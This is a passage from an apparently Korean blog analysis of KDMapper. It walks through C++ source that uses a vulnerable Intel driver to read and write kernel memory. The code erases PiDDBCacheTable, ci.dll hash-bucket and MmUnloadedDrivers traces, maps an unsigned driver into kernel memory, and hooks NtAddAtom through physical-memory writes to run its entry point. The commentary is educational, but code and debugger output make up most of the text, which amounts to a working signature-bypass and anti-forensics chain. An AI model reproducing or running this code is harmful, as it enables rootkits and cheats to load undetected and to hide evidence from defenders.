List.Flink)), &cache_entry, sizeof(_LIST_ENTRY*))) { return nullptr; } while (TRUE) { ULONG itemTimeDateStamp = 0; if (!ReadMemory(device_handle, (uintptr_t)cache_entry + (offsetof(struct _PiDDBCacheEntry, TimeDateStamp)), &itemTimeDateStamp, sizeof(ULONG))) { return nullptr; } if (itemTimeDateStamp == timestamp) { Log("[+] PiDDBCacheTable result -> TimeStamp: " << itemTimeDateStamp << std::endl); return cache_entry; } if ((uintptr_t)cache_entry == (uintptr_t)firstEntry) { break; } if (!ReadMemory(device_handle, (uintptr_t)cache_entry + (offsetof(struct _PiDDBCacheEntry, List.Flink)), &cache_entry, sizeof(_LIST_ENTRY*))) { return nullptr; } } return nullptr; }
C
๋ณต์‚ฌ
PiDDBCacheEntry in Kernel
1: kd> dqs nt!PiDDBCacheTable fffff802`43f76f30 fffff802`43f76f30 nt!PiDDBCacheTable 1: kd> dt _RTL_AVL_TABLE fffff802`43f76f30 nt!_RTL_AVL_TABLE +0x000 BalancedRoot : _RTL_BALANCED_LINKS +0x020 OrderedPointer : (null) +0x028 WhichOrderedElement : 0 +0x02c NumberGenericTableElements : 0x88 +0x030 DepthOfTree : 9 +0x038 RestartKey : (null) +0x040 DeleteCount : 0 +0x048 CompareRoutine : 0xfffff802`43c75740 _RTL_GENERIC_COMPARE_RESULTS nt!PiCompareDDBCacheEntries+0 +0x050 AllocateRoutine : 0xfffff802`43c7e240 void* nt!PnpAllocateGenericTableEntry+0 +0x058 FreeRoutine : 0xfffff802`43cef180 void nt!CMFFreeFn+0 +0x060 TableContext : 0x00000000`00000001 Void // AVL Tree(์ด์ง„ ํŠธ๋ฆฌ) ๊ตฌ์กฐ์ด๋ฉฐ, RightChild๋ถ€ํ„ฐ ์‹œ์ž‘ํ•˜๋Š”๊ฑธ ๋ณผ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. 1: kd> dx -id 0,0,ffffbe85287ec1c0 -r1 (*((ntkrnlmp!_RTL_BALANCED_LINKS *)0xfffff80243f76f30)) (*((ntkrnlmp!_RTL_BALANCED_LINKS *)0xfffff80243f76f30)) [Type: _RTL_BALANCED_LINKS] [+0x000] Parent : 0xfffff80243f76f30 [Type: _RTL_BALANCED_LINKS *] [+0x008] LeftChild : 0x0 [Type: _RTL_BALANCED_LINKS *] [+0x010] RightChild : 0xffff8f80e8378370 [Type: _RTL_BALANCED_LINKS *] [+0x018] Balance : 0 [Type: char] [+0x019] Reserved [Type: unsigned char [3]] 1: kd> dqs 0xffff8f80e8378370 ffff8f80`e8378370 fffff802`43f76f30 nt!PiDDBCacheTable //_RTL_BALANCED_LINKS.Parent ffff8f80`e8378378 ffff8f80`e82cd370 //_RTL_BALANCED_LINKS.LeftChild ffff8f80`e8378380 ffff8f80`e8378b50 //_RTL_BALANCED_LINKS.RightChild ffff8f80`e8378388 00000000`00000001 // Balance and Reserved ffff8f80`e8378390 ffff8f80`e8378b70 // PiDDBCacheEntry.LIST.FLink ffff8f80`e8378398 ffff8f80`e8378550 // PiDDBCacheEntry.LIST.BLink ffff8f80`e83783a0 0018 // UNICODE_STRING.Length ffff8f80`e83783a2 0018 // UNICODE_STRING.MaximumLength ffff8f80`e83783a4 00000000 // ??? ffff8f80`e83783a8 ffff8f80`e82d51c0 // UNICODE_STRING.Buffer ffff8f80`e83783b0 00000000`51b1cf46 // TimeStamp 1: kd> dt _UNICODE_STRING ffff8f80`e83783a0 nt!_UNICODE_STRING "mssecflt.sys" +0x000 Length : 0x18 +0x002 MaximumLength : 0x18 +0x008 Buffer : 0xffff8f80`e82d51c0 "mssecflt.sys"
C
๋ณต์‚ฌ
6.
์ทจ์•ฝํ•œ ๋“œ๋ผ์ด๋ฒ„์˜ PiDDBCacheEntry์˜ List๋ฅผ ๋Š์Šต๋‹ˆ๋‹ค.
// first, unlink from the list PLIST_ENTRY prev; if (!ReadMemory(device_handle, (uintptr_t)pFoundEntry + (offsetof(struct _PiDDBCacheEntry, List.Blink)), &prev, sizeof(_LIST_ENTRY*))) { Log(L"[-] Can't get prev entry" << std::endl); ExReleaseResourceLite(device_handle, PiDDBLock); return false; } PLIST_ENTRY next; if (!ReadMemory(device_handle, (uintptr_t)pFoundEntry + (offsetof(struct _PiDDBCacheEntry, List.Flink)), &next, sizeof(_LIST_ENTRY*))) { Log(L"[-] Can't get next entry" << std::endl); ExReleaseResourceLite(device_handle, PiDDBLock); return false; } Log("[+] Found Table Entry = 0x" << std::hex << pFoundEntry << std::endl); if (!WriteMemory(device_handle, (uintptr_t)prev + (offsetof(struct _LIST_ENTRY, Flink)), &next, sizeof(_LIST_ENTRY*))) { Log(L"[-] Can't set next entry" << std::endl); ExReleaseResourceLite(device_handle, PiDDBLock); return false; } if (!WriteMemory(device_handle, (uintptr_t)next + (offsetof(struct _LIST_ENTRY, Blink)), &prev, sizeof(_LIST_ENTRY*))) { Log(L"[-] Can't set prev entry" << std::endl); ExReleaseResourceLite(device_handle, PiDDBLock); return false; }
C
๋ณต์‚ฌ
7.
์ดํ›„ PiDDBCacheTable์—์„œ pFoundEntry๋ฅผ ์‚ญ์ œํ•˜๊ณ  PiDDBCacheTable์˜ DeleteCount๋ฅผ 1 ๊ฐ์†Œ์‹œํ‚ค๊ณ  TableContext๊ฐ’์„ ๋‹ค์‹œ 0์œผ๋กœ Setํ•˜๊ณ  ๋ฆฌ์†Œ์Šค ๋…์ ์„ ํ•ด์ œํ•˜๊ณ  True๋ฅผ ๋ฆฌํ„ดํ•˜๋ฉด์„œ ํ•จ์ˆ˜๊ฐ€ ์ข…๋ฃŒ๋ฉ๋‹ˆ๋‹ค.
// then delete the element from the avl table. vuln Driver์˜ if (!RtlDeleteElementGenericTableAvl(device_handle, PiDDBCacheTable, pFoundEntry)) { Log(L"[-] Can't delete from PiDDBCacheTable" << std::endl); ExReleaseResourceLite(device_handle, PiDDBLock); return false; } //Decrement delete count ULONG cacheDeleteCount = 0; ReadMemory(device_handle, (uintptr_t)PiDDBCacheTable + (offsetof(struct _RTL_AVL_TABLE, DeleteCount)), &cacheDeleteCount, sizeof(ULONG)); if (cacheDeleteCount > 0) { cacheDeleteCount--; WriteMemory(device_handle, (uintptr_t)PiDDBCacheTable + (offsetof(struct _RTL_AVL_TABLE, DeleteCount)), &cacheDeleteCount, sizeof(ULONG)); } //Restore context if wasn't 1 if (prevContext != targetContext) { WriteMemory(device_handle, (uintptr_t)PiDDBCacheTable + (offsetof(struct _RTL_AVL_TABLE, TableContext)), &prevContext, sizeof(ULONG64)); } // release the ddb resource lock. ๋ฆฌ์†Œ์Šค ๋ฆด๋ฆฌ์ฆˆ ExReleaseResourceLite(device_handle, PiDDBLock); Log(L"[+] PiDDBCacheTable Cleaned" << std::endl); return true;
C
๋ณต์‚ฌ

1.2.3 intel_driver::ClearKernelHashBucketList

ํ•ด๋‹น ํ•จ์ˆ˜๋Š” ClearKernelHashBucketList๋„ ์œ„์™€ ๋น„์Šทํ•ฉ๋‹ˆ๋‹ค.
1.
FindPattern์œผ๋กœ g_KernelHashBucketList, g_HashCacheLock์„ ์ฐพ์Šต๋‹ˆ๋‹ค.
2.
g_HashCacheLock์„ ์ด์šฉํ•˜์—ฌ ๋ฆฌ์†Œ์Šค๋ฅผ ๋…์  ํ•ฉ๋‹ˆ๋‹ค.
3.
์ทจ์•ฝํ•œ ๋“œ๋ผ์ด๋ฒ„์™€ ๊ฐ™์€ ์ด๋ฆ„์„ ๊ฐ€์ง€๊ณ  ์žˆ๋Š” HashBucketEntry๋ฅผ ์ฐพ์Šต๋‹ˆ๋‹ค.
4.
์ฐพ์€ Entry์˜ ๋ฆฌ์ŠคํŠธ๋ฅผ ๋Š๊ณ  Free ํ•ด๋ฒ„๋ฆฝ๋‹ˆ๋‹ค.
bool intel_driver::ClearKernelHashBucketList(HANDLE device_handle) { uint64_t ci = utils::GetKernelModuleAddress("ci.dll"); if (!ci) { Log(L"[-] Can't Find ci.dll module address" << std::endl); return false; } //Thanks @KDIo3 and @Swiftik from UnknownCheats. HashBucketList, HashCacheLock ํŒจํ„ด์œผ๋กœ offset ํš๋“ auto sig = FindPatternInSectionAtKernel(device_handle, (char*)"PAGE", ci, PUCHAR("\x48\x8B\x1D\x00\x00\x00\x00\xEB\x00\xF7\x43\x40\x00\x20\x00\x00"), (char*)"xxx????x?xxxxxxx"); if (!sig) { Log(L"[-] Can't Find g_KernelHashBucketList" << std::endl); return false; } auto sig2 = FindPatternAtKernel(device_handle, (uintptr_t)sig - 50, 50, PUCHAR("\x48\x8D\x0D"), (char*)"xxx"); if (!sig2) { Log(L"[-] Can't Find g_HashCacheLock" << std::endl); return false; } //ํŒจํ„ด ์ฃผ์†Œ ํš๋“ const auto g_KernelHashBucketList = ResolveRelativeAddress(device_handle, (PVOID)sig, 3, 7 const auto g_HashCacheLock = ResolveRelativeAddress(device_handle, (PVOID)sig2, 3, 7); if (!g_KernelHashBucketList || !g_HashCacheLock) { Log(L"[-] Can't Find g_HashCache relative address" << std::endl); return false; } Log(L"[+] g_KernelHashBucketList Found 0x" << std::hex << g_KernelHashBucketList << std::endl); // ๋ฆฌ์†Œ์Šค ๋ฝ if (!ExAcquireResourceExclusiveLite(device_handle, g_HashCacheLock, true)) { Log(L"[-] Can't lock g_HashCacheLock" << std::endl); return false; } Log(L"[+] g_HashCacheLock Locked" << std::endl); // entry์— ์ฃผ์†Œ ๋ณต์‚ฌ HashBucketEntry* prev = (HashBucketEntry*)g_KernelHashBucketList; HashBucketEntry* entry = 0; if (!ReadMemory(device_handle, (uintptr_t)prev, &entry, sizeof(entry))) { Log(L"[-] Failed to read first g_KernelHashBucketList entry!" << std::endl); if (!ExReleaseResourceLite(device_handle, g_HashCacheLock)) { Log(L"[-] Failed to release g_KernelHashBucketList lock!" << std::endl); } return false; } if (!entry) { Log(L"[!] g_KernelHashBucketList looks empty!" << std::endl); if (!ExReleaseResourceLite(device_handle, g_HashCacheLock)) { Log(L"[-] Failed to release g_KernelHashBucketList lock!" << std::endl); } return true; } std::wstring wdname = GetDriverNameW(); std::wstring search_path = GetDriverPath(); SIZE_T expected_len = (search_path.length() - 2) * 2; while (entry) { //Driver Name Length ์ฒดํฌ USHORT wsNameLen = 0; if (!ReadMemory(device_handle, (uintptr_t)entry + offsetof(HashBucketEntry, DriverName.Length), &wsNameLen, sizeof(wsNameLen)) || wsNameLen == 0) { Log(L"[-] Failed to read g_KernelHashBucketList entry text len!" << std::endl); if (!ExReleaseResourceLite(device_handle, g_HashCacheLock)) { Log(L"[-] Failed to release g_KernelHashBucketList lock!" << std::endl); } return false; } if (expected_len == wsNameLen) { wchar_t* wsNamePtr = 0; if (!ReadMemory(device_handle, (uintptr_t)entry + offsetof(HashBucketEntry, DriverName.Buffer), &wsNamePtr, sizeof(wsNamePtr)) || !wsNamePtr) { Log(L"[-] Failed to read g_KernelHashBucketList entry text ptr!" << std::endl); if (!ExReleaseResourceLite(device_handle, g_HashCacheLock)) { Log(L"[-] Failed to release g_KernelHashBucketList lock!" << std::endl); } return false; } wchar_t* wsName = new wchar_t[(ULONG64)wsNameLen / 2ULL + 1ULL]; memset(wsName, 0, wsNameLen + sizeof(wchar_t)); if (!ReadMemory(device_handle, (uintptr_t)wsNamePtr, wsName, wsNameLen)) { Log(L"[-] Failed to read g_KernelHashBucketList entry text!" << std::endl); if (!ExReleaseResourceLite(device_handle, g_HashCacheLock)) { Log(L"[-] Failed to release g_KernelHashBucketList lock!" << std::endl); } return false; } //๋“œ๋ผ์ด๋ฒ„ HashBukketList ์ฐพ์•˜์„ ๊ฒฝ์šฐ Next ๊ฐ’ ์ €์žฅ size_t find_result = std::wstring(wsName).find(wdname); if (find_result != std::wstring::npos) { Log(L"[+] Found In g_KernelHashBucketList: " << std::wstring(&wsName[find_result]) << std::endl); HashBucketEntry* Next = 0; if (!ReadMemory(device_handle, (uintptr_t)entry, &Next, sizeof(Next))) { Log(L"[-] Failed to read g_KernelHashBucketList next entry ptr!" << std::endl); if (!ExReleaseResourceLite(device_handle, g_HashCacheLock)) { Log(L"[-] Failed to release g_KernelHashBucketList lock!" << std::endl); } return false; } //prev ๊ฐ’์„ next ๊ฐ’์œผ๋กœ ๋‚ ๋ฆผ if (!WriteMemory(device_handle, (uintptr_t)prev, &Next, sizeof(Next))) { Log(L"[-] Failed to write g_KernelHashBucketList prev entry ptr!" << std::endl); if (!ExReleaseResourceLite(device_handle, g_HashCacheLock)) { Log(L"[-] Failed to release g_KernelHashBucketList lock!" << std::endl); } return false; } //entry pool ๋‚ ๋ฆผ if (!FreePool(device_handle, (uintptr_t)entry)) { Log(L"[-] Failed to clear g_KernelHashBucketList entry pool!" << std::endl); if (!ExReleaseResourceLite(device_handle, g_HashCacheLock)) { Log(L"[-] Failed to release g_KernelHashBucketList lock!" << std::endl); } return false; } Log(L"[+] g_KernelHashBucketList Cleaned" << std::endl); if (!ExReleaseResourceLite(device_handle, g_HashCacheLock)) { Log(L"[-] Failed to release g_KernelHashBucketList lock!" << std::endl); if (!ExReleaseResourceLite(device_handle, g_HashCacheLock)) { Log(L"[-] Failed to release g_KernelHashBucketList lock!" << std::endl); } return false; } delete[] wsName; return true; } delete[] wsName; } prev = entry; //read next if (!ReadMemory(device_handle, (uintptr_t)entry, &entry, sizeof(entry))) { Log(L"[-] Failed to read g_KernelHashBucketList next entry!" << std::endl); if (!ExReleaseResourceLite(device_handle, g_HashCacheLock)) { Log(L"[-] Failed to release g_KernelHashBucketList lock!" << std::endl); } return false; } } if (!ExReleaseResourceLite(device_handle, g_HashCacheLock)) { Log(L"[-] Failed to release g_KernelHashBucketList lock!" << std::endl); } return false; }
C
๋ณต์‚ฌ
g_KernelHashBucketList in Kernel and Structre
typedef struct _HashBucketEntry // Define in KDMapper { struct _HashBucketEntry* Next; UNICODE_STRING DriverName; ULONG CertHash[5]; } HashBucketEntry, * PHashBucketEntry; 0: kd> dqs ci!g_kernelhashbucketlist fffff801`33abc080 ffffe088`2162f530 fffff801`33abc088 00000000`00000000 fffff801`33abc090 00000000`00000000 fffff801`33abc098 00000000`00000000 0: kd> dqs ffffe088`2162f530 ffffe088`2162f530 ffffe088`2079f740 // Next ffffe088`2162f538 00000000`00540052 // UNICODE_STRING.Length, UNICODE_STRING.MaximumLength ffffe088`2162f540 ffffe088`2162f578 // UNICODE_STRING.Buffer ffffe088`2162f548 707dce94`cca7d6cb ffffe088`2162f550 fdeae0db`bbb95e7f ffffe088`2162f558 00000000`03e2be39 0: kd> dt _unicode_string ffffe088`2162f538 nt!_UNICODE_STRING "\Windows\System32\drivers\wd\WdNisDrv.sys" +0x000 Length : 0x52 +0x002 MaximumLength : 0x54 +0x008 Buffer : 0xffffe088`2162f578 "\Windows\System32\drivers\wd\WdNisDrv.sys"
C
๋ณต์‚ฌ

1.2.4 intel_driver::ClearMmUnloadDrivers

ํ•ด๋‹น ํ•จ์ˆ˜์—์„œ๋Š”
1.
NtQuerySystemInformation์œผ๋กœ ๋“œ๋ผ์ด๋ฒ„ ํ•ธ๋“ค์˜ ์˜ค๋ธŒ์ ํŠธ๋ฅผ ์ฐพ์Šต๋‹ˆ๋‹ค.
2.
Object+0x08 > Device Object+0x08 > Driver Object+0x28 > Driver Section+0x28 > Driver Name์œผ๋กœ ์ฐพ์•„๊ฐ€ ๋“œ๋ผ์ด๋ฒ„ ๋„ค์ž„์˜ length๊ฐ’์„ 0์œผ๋กœ ๋ณ€์กฐํ•ฉ๋‹ˆ๋‹ค
3.
0์œผ๋กœ ๋ณ€์กฐํ•˜๋Š” ์ด์œ ๋Š” MiRememberUnloadDriver๊ฐ€ ๋“œ๋ผ์ด๋ฒ„ Length๊ฐ’์ด 0๋ณด๋‹ค ์ดˆ๊ณผํ•˜๋Š” ๋“œ๋ผ์ด๋ฒ„๋งŒ ์ฒดํฌํ•˜๊ธฐ ๋•Œ๋ฌธ์ž…๋‹ˆ๋‹ค.
bool intel_driver::ClearMmUnloadedDrivers(HANDLE device_handle) { ULONG buffer_size = 0; void* buffer = nullptr; NTSTATUS status = NtQuerySystemInformation(static_cast<SYSTEM_INFORMATION_CLASS>(nt::SystemExtendedHandleInformation), buffer, buffer_size, &buffer_size); while (status == nt::STATUS_INFO_LENGTH_MISMATCH) { VirtualFree(buffer, 0, MEM_RELEASE); buffer = VirtualAlloc(nullptr, buffer_size, MEM_RESERVE | MEM_COMMIT, PAGE_READWRITE); status = NtQuerySystemInformation(static_cast<SYSTEM_INFORMATION_CLASS>(nt::SystemExtendedHandleInformation), buffer, buffer_size, &buffer_size); } if (!NT_SUCCESS(status) || buffer == 0) { if (buffer != 0) VirtualFree(buffer, 0, MEM_RELEASE); return false; } uint64_t object = 0; auto system_handle_inforamtion = static_cast<nt::PSYSTEM_HANDLE_INFORMATION_EX>(buffer); for (auto i = 0u; i < system_handle_inforamtion->HandleCount; ++i) { const nt::SYSTEM_HANDLE current_system_handle = system_handle_inforamtion->Handles[i]; if (current_system_handle.UniqueProcessId != reinterpret_cast<HANDLE>(static_cast<uint64_t>(GetCurrentProcessId()))) continue; if (current_system_handle.HandleValue == device_handle) { object = reinterpret_cast<uint64_t>(current_system_handle.Object); break; } } VirtualFree(buffer, 0, MEM_RELEASE); if (!object) return false; uint64_t device_object = 0; if (!ReadMemory(device_handle, object + 0x8, &device_object, sizeof(device_object)) || !device_object) { Log(L"[!] Failed to find device_object" << std::endl); return false; } uint64_t driver_object = 0; if (!ReadMemory(device_handle, device_object + 0x8, &driver_object, sizeof(driver_object)) || !driver_object) { Log(L"[!] Failed to find driver_object" << std::endl); return false; } uint64_t driver_section = 0; if (!ReadMemory(device_handle, driver_object + 0x28, &driver_section, sizeof(driver_section)) || !driver_section) { Log(L"[!] Failed to find driver_section" << std::endl); return false; } UNICODE_STRING us_driver_base_dll_name = { 0 }; if (!ReadMemory(device_handle, driver_section + 0x58, &us_driver_base_dll_name, sizeof(us_driver_base_dll_name)) || us_driver_base_dll_name.Length == 0) { Log(L"[!] Failed to find driver name" << std::endl); return false; } wchar_t* unloadedName = new wchar_t[(ULONG64)us_driver_base_dll_name.Length / 2ULL + 1ULL]; memset(unloadedName, 0, us_driver_base_dll_name.Length + sizeof(wchar_t)); if (!ReadMemory(device_handle, (uintptr_t)us_driver_base_dll_name.Buffer, unloadedName, us_driver_base_dll_name.Length)) { Log(L"[!] Failed to read driver name" << std::endl); return false; } us_driver_base_dll_name.Length = 0; //MiRememberUnloadedDriver will check if the length > 0 to save the unloaded driver if (!WriteMemory(device_handle, driver_section + 0x58, &us_driver_base_dll_name, sizeof(us_driver_base_dll_name))) { Log(L"[!] Failed to write driver name length" << std::endl); return false; } Log(L"[+] MmUnloadedDrivers Cleaned: " << unloadedName << std::endl); delete[] unloadedName; return true; }
C
๋ณต์‚ฌ

1.3 kdmapper::MapDriver

๋กœ๋“œํ•  ๋“œ๋ผ์ด๋ฒ„๋ฅผ ์ปค๋„์— ๋งคํ•‘ํ›„ ๋งคํ•‘ํ•œ DriverEntry๋ฅผ ํ˜ธ์ถœํ•ด์ฃผ๋Š” ํ•จ์ˆ˜์ž…๋‹ˆ๋‹ค.
ํ•ด๋‹น ํ•จ์ˆ˜์—์„œ๋Š”
1.
ReadFileToMemory ํ•จ์ˆ˜๋กœ ํŒŒ์ผ์„ ๋ฒ„ํผ์— ์ ์žฌํ•ฉ๋‹ˆ๋‹ค.
2.
NtHeader ์ •๋ณด๋ฅผ ๊ฐ€์ ธ์˜ต๋‹ˆ๋‹ค.
3.
๋กœ๋“œํ•  ๋“œ๋ผ์ด๋ฒ„์˜ ImageSize๋งŒํผ ๋ฉ”๋ชจ๋ฆฌ๋ฅผ ํ• ๋‹นํ•ฉ๋‹ˆ๋‹ค.
4.
์ปค๋„ ๋ฉ”๋ชจ๋ฆฌ์— NonPagePool ํƒ€์ž…์œผ๋กœ ImageSize๋งŒํผ ๋ฉ”๋ชจ๋ฆฌ๋ฅผ ํ• ๋‹นํ•ฉ๋‹ˆ๋‹ค.
5.
์„น์…˜ ํ•ด๋”์™€ ์„น์…˜์„ ๋ณต์‚ฌํ•ฉ๋‹ˆ๋‹ค
6.
ํ—ค๋” ์ œ๊ฑฐ ์ž‘์—…(์„ ํƒ)์„ ์ˆ˜ํ–‰ํ•ฉ๋‹ˆ๋‹ค.
7.
์ปค๋„ ๋ฉ”๋ชจ๋ฆฌ์— ๋“œ๋ผ์ด๋ฒ„๋ฅผ ๋งคํ•‘ํ•ฉ๋‹ˆ๋‹ค.
8.
intel_driver::CallKernelFunction() ํ•จ์ˆ˜๋ฅผ ์ด์šฉํ•ด ๋งคํ•‘ํ•œ ๋“œ๋ผ์ด๋ฒ„์˜ DriverEntry๋ฅผ ํ˜ธ์ถœํ•ฉ๋‹ˆ๋‹ค.
uint64_t kdmapper::MapDriver(HANDLE iqvw64e_device_handle, const std::wstring& driver_path, ULONG64 param1, ULONG64 param2, bool free, bool destroyHeader) { std::vector<uint8_t> raw_image = { 0 }; if (!utils::ReadFileToMemory(driver_path, &raw_image)) { Log(L"[-] Failed to read image to memory" << std::endl); return 0; } const PIMAGE_NT_HEADERS64 nt_headers = portable_executable::GetNtHeaders(raw_image.data()); if (!nt_headers) { Log(L"[-] Invalid format of PE image" << std::endl); return 0; } if (nt_headers->OptionalHeader.Magic != IMAGE_NT_OPTIONAL_HDR64_MAGIC) { Log(L"[-] Image is not 64 bit" << std::endl); return 0; } const uint32_t image_size = nt_headers->OptionalHeader.SizeOfImage; void* local_image_base = VirtualAlloc(nullptr, image_size, MEM_RESERVE | MEM_COMMIT, PAGE_READWRITE); if (!local_image_base) return 0; DWORD TotalVirtualHeaderSize = (IMAGE_FIRST_SECTION(nt_headers))->VirtualAddress; uint64_t kernel_image_base = intel_driver::AllocatePool(iqvw64e_device_handle, nt::POOL_TYPE::NonPagedPool, image_size - (destroyHeader ? TotalVirtualHeaderSize : 0)); do { if (!kernel_image_base) { Log(L"[-] Failed to allocate remote image in kernel" << std::endl); break; } Log(L"[+] Image base has been allocated at 0x" << reinterpret_cast<void*>(kernel_image_base) << std::endl); // Copy image headers memcpy(local_image_base, raw_image.data(), nt_headers->OptionalHeader.SizeOfHeaders); // Copy image sections const PIMAGE_SECTION_HEADER current_image_section = IMAGE_FIRST_SECTION(nt_headers); for (auto i = 0; i < nt_headers->FileHeader.NumberOfSections; ++i) { auto local_section = reinterpret_cast<void*>(reinterpret_cast<uint64_t>(local_image_base) + current_image_section[i].VirtualAddress); memcpy(local_section, reinterpret_cast<void*>(reinterpret_cast<uint64_t>(raw_image.data()) + current_image_section[i].PointerToRawData), current_image_section[i].SizeOfRawData); } uint64_t realBase = kernel_image_base; if (destroyHeader) { kernel_image_base -= TotalVirtualHeaderSize; Log(L"[+] Skipped 0x" << std::hex << TotalVirtualHeaderSize << L" bytes of PE Header" << std::endl); } // Resolve relocs and imports RelocateImageByDelta(portable_executable::GetRelocs(local_image_base), kernel_image_base - nt_headers->OptionalHeader.ImageBase); if (!ResolveImports(iqvw64e_device_handle, portable_executable::GetImports(local_image_base))) { Log(L"[-] Failed to resolve imports" << std::endl); kernel_image_base = realBase; break; } // Write fixed image to kernel if (!intel_driver::WriteMemory(iqvw64e_device_handle, realBase, (PVOID)((uintptr_t)local_image_base + (destroyHeader ? TotalVirtualHeaderSize : 0)), image_size - (destroyHeader ? TotalVirtualHeaderSize : 0))) { Log(L"[-] Failed to write local image to remote image" << std::endl); kernel_image_base = realBase; break; } // Call driver entry point const uint64_t address_of_entry_point = kernel_image_base + nt_headers->OptionalHeader.AddressOfEntryPoint; Log(L"[<] Calling DriverEntry 0x" << reinterpret_cast<void*>(address_of_entry_point) << std::endl); NTSTATUS status = 0; if (!intel_driver::CallKernelFunction(iqvw64e_device_handle, &status, address_of_entry_point, param1, param2)) { Log(L"[-] Failed to call driver entry" << std::endl); kernel_image_base = realBase; break; } Log(L"[+] DriverEntry returned 0x" << std::hex << status << std::endl); if (free) intel_driver::FreePool(iqvw64e_device_handle, realBase); VirtualFree(local_image_base, 0, MEM_RELEASE); return realBase; } while (false); VirtualFree(local_image_base, 0, MEM_RELEASE); intel_driver::FreePool(iqvw64e_device_handle, kernel_image_base); return 0; }
C
๋ณต์‚ฌ

1.3.1 CallKernelFunction

ํ•ด๋‹น ํ•จ์ˆ˜๋Š” ์ฃผ๋กœ ์‚ฌ์šฉํ•˜์ง€ ์•Š๋Š” NtAddAtom์ด๋ผ๋Š” ํ•จ์ˆ˜๋ฅผ ํ›„ํ‚นํ•˜์—ฌ ํ•ด๋‹น ํ•จ์ˆ˜๋ฅผ ํ˜ธ์ถœํ•˜๋ฉด ๋งคํ•‘ํ•œ ๋“œ๋ผ์ด๋ฒ„์˜ DriverEntry๋ฅผ ํ˜ธ์ถœํ•˜๋Š” ์ž‘์—…์„ ์ˆ˜ํ–‰ํ•ฉ๋‹ˆ๋‹ค.
bool CallKernelFunction(HANDLE device_handle, T* out_result, uint64_t kernel_function_address, const A ...arguments) { constexpr auto call_void = std::is_same_v<T, void>; if constexpr (!call_void) { if (!out_result) return false; } else { UNREFERENCED_PARAMETER(out_result); } if (!kernel_function_address) return false; // Setup function call HMODULE ntdll = GetModuleHandleA("ntdll.dll"); if (ntdll == 0) { Log(L"[-] Failed to load ntdll.dll" << std::endl); //never should happens return false; } const auto NtAddAtom = reinterpret_cast<void*>(GetProcAddress(ntdll, "NtAddAtom")); if (!NtAddAtom) { Log(L"[-] Failed to get export ntdll.NtAddAtom" << std::endl); return false; } uint8_t kernel_injected_jmp[] = { 0x48, 0xb8, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xff, 0xe0 }; uint8_t original_kernel_function[sizeof(kernel_injected_jmp)]; *(uint64_t*)&kernel_injected_jmp[2] = kernel_function_address; static uint64_t kernel_NtAddAtom = GetKernelModuleExport(device_handle, intel_driver::ntoskrnlAddr, "NtAddAtom"); if (!kernel_NtAddAtom) { Log(L"[-] Failed to get export ntoskrnl.NtAddAtom" << std::endl); return false; } if (!ReadMemory(device_handle, kernel_NtAddAtom, &original_kernel_function, sizeof(kernel_injected_jmp))) return false; if (original_kernel_function[0] == kernel_injected_jmp[0] && original_kernel_function[1] == kernel_injected_jmp[1] && original_kernel_function[sizeof(kernel_injected_jmp) - 2] == kernel_injected_jmp[sizeof(kernel_injected_jmp) - 2] && original_kernel_function[sizeof(kernel_injected_jmp) - 1] == kernel_injected_jmp[sizeof(kernel_injected_jmp) - 1]) { Log(L"[-] FAILED!: The code was already hooked!! another instance of kdmapper running?!" << std::endl); return false; } // Overwrite the pointer with kernel_function_address if (!WriteToReadOnlyMemory(device_handle, kernel_NtAddAtom, &kernel_injected_jmp, sizeof(kernel_injected_jmp))) return false; // Call function if constexpr (!call_void) { using FunctionFn = T(__stdcall*)(A...); const auto Function = reinterpret_cast<FunctionFn>(NtAddAtom); *out_result = Function(arguments...); } else { using FunctionFn = void(__stdcall*)(A...); const auto Function = reinterpret_cast<FunctionFn>(NtAddAtom); Function(arguments...); } // Restore the pointer/jmp WriteToReadOnlyMemory(device_handle, kernel_NtAddAtom, original_kernel_function, sizeof(kernel_injected_jmp)); return true; }
C
๋ณต์‚ฌ
WriteToReadOnlyMemory
ํ•ด๋‹น ํ•จ์ˆ˜๋Š” ์ปค๋„ ๋ฉ”๋ชจ๋ฆฌ๋ฅผ ์ˆ˜์ •ํ•  ๋•Œ ์‚ฌ์šฉํ•˜๋ฉฐ, MDL๊ณผ ๋น„์Šทํ•œ ์›๋ฆฌ๋กœ ์ˆ˜์ •ํ•˜๋Š”๊ฒƒ์œผ๋กœ ๋ณด์ž…๋‹ˆ๋‹ค.
ํ•ด๋‹น ๋ฐฉ์‹์ด ๊ฐ€๋Šฅํ•˜๋‹ค๋Š” ๊ฒƒ์„ KDMapper ๋ถ„์„ํ•˜๋ฉด์„œ ์ฒ˜์Œ ์•Œ์•˜์Šต๋‹ˆ๋‹ค.
1.
GetPhysicalAddress ํ•จ์ˆ˜๋ฅผ ์ด์šฉํ•ด ํ›„ํ‚นํ•  ํ•จ์ˆ˜์˜ PhysicalAddress(๋ฌผ๋ฆฌ ๋ฉ”๋ชจ๋ฆฌ ์ฃผ์†Œ)๊ฐ’์„ ํš๋“ํ•ฉ๋‹ˆ๋‹ค.
2.
MapIoSpace ํ•จ์ˆ˜๋ฅผ ์ด์šฉํ•ด ํš๋“ํ•œ PhysicalAddress์™€ ๋งคํ•‘๋˜๋Š” VirtualAddress(๊ฐ€์ƒ ๋ฉ”๋ชจ๋ฆฌ ์ฃผ์†Œ)๋ฅผ ํš๋“ํ•ฉ๋‹ˆ๋‹ค.
3.
ํš๋“ํ•œ VirtualAddress๋ฅผ ์ˆ˜์ •ํ•ฉ๋‹ˆ๋‹ค.
bool intel_driver::WriteToReadOnlyMemory(HANDLE device_handle, uint64_t address, void* buffer, uint32_t size) { if (!address || !buffer || !size) return false; uint64_t physical_address = 0; if (!GetPhysicalAddress(device_handle, address, &physical_address)) { Log(L"[-] Failed to translate virtual address 0x" << reinterpret_cast<void*>(address) << std::endl); return false; } const uint64_t mapped_physical_memory = MapIoSpace(device_handle, physical_address, size); if (!mapped_physical_memory) { Log(L"[-] Failed to map IO space of 0x" << reinterpret_cast<void*>(physical_address) << std::endl); return false; } bool result = WriteMemory(device_handle, mapped_physical_memory, buffer, size); if (!UnmapIoSpace(device_handle, mapped_physical_memory, size)) Log(L"[!] Failed to unmap IO space of physical address 0x" << reinterpret_cast<void*>(physical_address) << std::endl); return result; }
C
๋ณต์‚ฌ

1.4 Vuln Driver Ioctl Handler

